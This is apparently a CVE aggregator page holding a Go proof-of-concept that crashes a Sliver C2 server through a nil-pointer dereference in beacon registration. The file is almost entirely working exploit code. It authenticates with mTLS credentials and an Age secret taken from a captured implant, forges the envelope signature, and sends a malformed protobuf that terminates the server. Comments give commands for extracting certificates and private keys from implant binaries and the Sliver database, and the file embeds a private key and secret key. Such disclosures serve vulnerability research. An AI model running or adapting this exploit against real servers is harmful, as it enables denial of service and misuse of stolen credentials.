5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / mtls_poc.go GO
/*
* Author: Skove (Anas)
* Sliver - Protobuf Deserialization "Kill-Switch" DoS PoC
* Vulnerability: Nil-Pointer Dereference in BeaconRegister (CWE-476)
* Impact: Full Process Termination (SIGSEGV) of Sliver Server
*
* This PoC demonstrates how an attacker with access to a captured implant 
* can crash the entire C2 infrastructure by omitting nested Protobuf fields.
*
* Replace c2Endpoint, clientCertPEM, clientKeyPEM, and peerPrivateKey with the values from a valid implant.
*/

package main

import (
	"bytes"
	"crypto/ed25519"
	"crypto/sha256"
	"crypto/tls"
	"encoding/binary"
	"fmt"
	"io"
	"log"

	"github.com/bishopfox/sliver/protobuf/sliverpb"
	"github.com/hashicorp/yamux"
	"golang.org/x/crypto/blake2b"
	"google.golang.org/protobuf/proto"
)

var (
	c2Endpoint = "127.0.0.1:8888"

	// The mTLS certificate and key are required to establish the TLS handshake.
	// RUN: strings /path/to/implant_binary | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | tail -n 12
	// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT certificate_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;"
	clientCertPEM = []byte(`-----BEGIN CERTIFICATE-----
MIIBoTCCAQKgAwIBAgIQSkd9rTWFkBvOK5tVaYigrDAKBggqhkjOPQQDBDAAMB4X
DTI1MDMxMDAzMzUzMVoXDTI3MDMxMDAzMzUzMVowFjEUMBIGA1UEAwwLRlVOTllf
VklSVVMwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATJB1ENIgoSoWWt/CiyjytR
ZuBUN/LokcLuq0BOuoUr9MxhzR4hK0ZYPQHnfY1IxGvGDn6LsyWQMv6iLhL5mze3
o0gwRjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwIwHwYDVR0j
BBgwFoAUq0iOdVkSdrFy63RqMILqL5u5w+swCgYIKoZIzj0EAwQDgYwAMIGIAkIA
+F91KxYlI3Tc11n8MuGv5wPoB1FmgfWXxhQqqK7JtnxZQLyDFw1TpXtrbsKuEyB6
TUBjIDeWozb8Anc59P9K+xsCQgC6YhpAcrBoeKdXHkP77ZgPilBcqo691GP1ybuT
DiIqahjrOlzShzjkUO/59I1sDlMY9E+yVO/fD8M95b30k26azA==
-----END CERTIFICATE-----`)

	// RUN: strings /path/to/implant_binary | awk '/BEGIN EC PRIVATE KEY/,/END EC PRIVATE KEY/'
	// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT private_key_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;"
	clientKeyPEM = []byte(`-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIJGHtKVHvcHt91+n0avQPUWf9bNKmjKnDn8XZC5o72yRoAoGCCqGSM49
AwEHoUQDQgAEyQdRDSIKEqFlrfwoso8rUWbgVDfy6JHC7qtATrqFK/TMYc0eIStG
WD0B532NSMRrxg5+i7MlkDL+oi4S+Zs3tw==
-----END EC PRIVATE KEY-----`)

	// The Implant's Age identity string (peer_private_key)
	// RUN: strings /path/to/implant_binary | grep -oP "AGE-SECRET-KEY-1[A-Z0-9]+"
	// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT peer_private_key FROM implant_builds LIMIT 1;"
	peerPrivateKey = "AGE-SECRET-KEY-1GFLJDX025KJCZCG6C7Y3X4NCPVV7MQD7KAZY2CUZ82E9QS4LVFDSDH7USV"

)




// GenerateImplantSignature replicates Sliver's `lookupImplantSigKey` deterministic Ed25519 generation.
// Over mTLS, the implant does not have a separate database Minisign private key.
// Instead, it deterministically generates it by SHA256 hashing the Age `peer_private_key`.
func GenerateImplantSignature(peerPrivateKey string, data []byte) []byte {
	seed := sha256.Sum256([]byte("env-signing-v1:" + peerPrivateKey))
	priv := ed25519.NewKeyFromSeed(seed[:])
	pub := priv.Public().(ed25519.PublicKey)

	digest := blake2b.Sum256(pub)
	keyID := binary.LittleEndian.Uint64(digest[:8])

	sigBuf := make([]byte, 74)
	binary.LittleEndian.PutUint16(sigBuf[:2], 0x6445)
	binary.LittleEndian.PutUint64(sigBuf[2:10], keyID)
	copy(sigBuf[10:], ed25519.Sign(priv, data))

	return sigBuf
}

const YamuxPreface = "MUX/1"

func main() {
	// 2. STAGE 1: BYPASS NETWORK AUTHENTICATION (mTLS) ========================
	fmt.Println("[*] Loading extracted Implant certificates...")
	cert, err := tls.X509KeyPair(clientCertPEM, clientKeyPEM)
	if err != nil {
		log.Fatalf("[-] Failed to load client cert: %v", err)
		// maybe you are using the wrong key 
		// RUN: strings /path/to/implant_binary | grep "BEGIN CERTIFICATE" -A10
		// and take the second key, not the first  
	}

	tlsConfig := &tls.Config{
		Certificates:       []tls.Certificate{cert},
		InsecureSkipVerify: true,
	}

	fmt.Printf("[*] Connecting to mTLS endpoint %s...\n", c2Endpoint)
	conn, err := tls.Dial("tcp", c2Endpoint, tlsConfig)
	if err != nil {
		log.Fatalf("[-] TLS Connection failed: %v", err)
	}
	defer conn.Close()

	// 3. STAGE 2: INITIATE YAMUX MULTIPLEXING ===============================
	fmt.Println("[*] TLS Established. Sending Yamux preface...")
	conn.Write([]byte(YamuxPreface))

	session, err := yamux.Client(conn, nil)
	if err != nil {
		log.Fatalf("[-] Failed to stat Yamux session: %v", err)
	}
	defer session.Close()

	stream, err := session.Open()
	if err != nil {
		log.Fatalf("[-] Failed to open Yamux stream: %v", err)
	}
	defer stream.Close()

	// 4. STAGE 3: CONSTRUCT THE MALICIOUS CRASH PAYLOAD ========================
	fmt.Println("[*] Constructing malicious BeaconRegister payload...")

	// ROOT CAUSE: sliver/server/handlers/beacons.go:70 beacon.Name = beaconReg.Register.Name
	// The server attempts to access 'beaconReg.Register.Name' without verifying if 'Register' is nil.
	maliciousBeaconReg := &sliverpb.BeaconRegister{
		ID:       "11111111-2222-3333-4444-555555555555",
		Interval: 60,
		// Register: nil, <--- This is the trigger
	}

	maliciousData, err := proto.Marshal(maliciousBeaconReg)
	if err != nil {
		log.Fatalf("[-] Marshal failed: %v", err)
	}

	env := &sliverpb.Envelope{
		ID:   0,
		Type: uint32(sliverpb.MsgBeaconRegister),
		Data: maliciousData,
	}

	envBytes, err := proto.Marshal(env)
	if err != nil {
		log.Fatalf("[-] Envelope Marshal failed: %v", err)
	}

	// 5. STAGE 4: BYPASS ENVELOPE SIGNING ======================================
	fmt.Println("[*] Signing payload deterministically with Age Private Key...")
	rawSig := GenerateImplantSignature(peerPrivateKey, envBytes)

	if _, err := stream.Write(rawSig); err != nil {
		log.Fatalf("[-] Failed to send signature: %v", err)
	}

	// 6. STAGE 5: DELIVER AND CRASH =========================================
	fmt.Println("[*] Delivering length prefix and malicious payload (Unrecovered Goroutine DoS)...")
	dataLengthBuf := new(bytes.Buffer)
	binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(envBytes)))
	stream.Write(dataLengthBuf.Bytes())

	stream.Write(envBytes)

	fmt.Println("[+] Exploit sent! Because mTLS spawns raw goroutines via Yamux without a recover() block...")
	fmt.Println("[+] The Sliver C2 Server binary has completely crashed! Check `systemctl status sliver`.")

	io.ReadAll(stream) 
}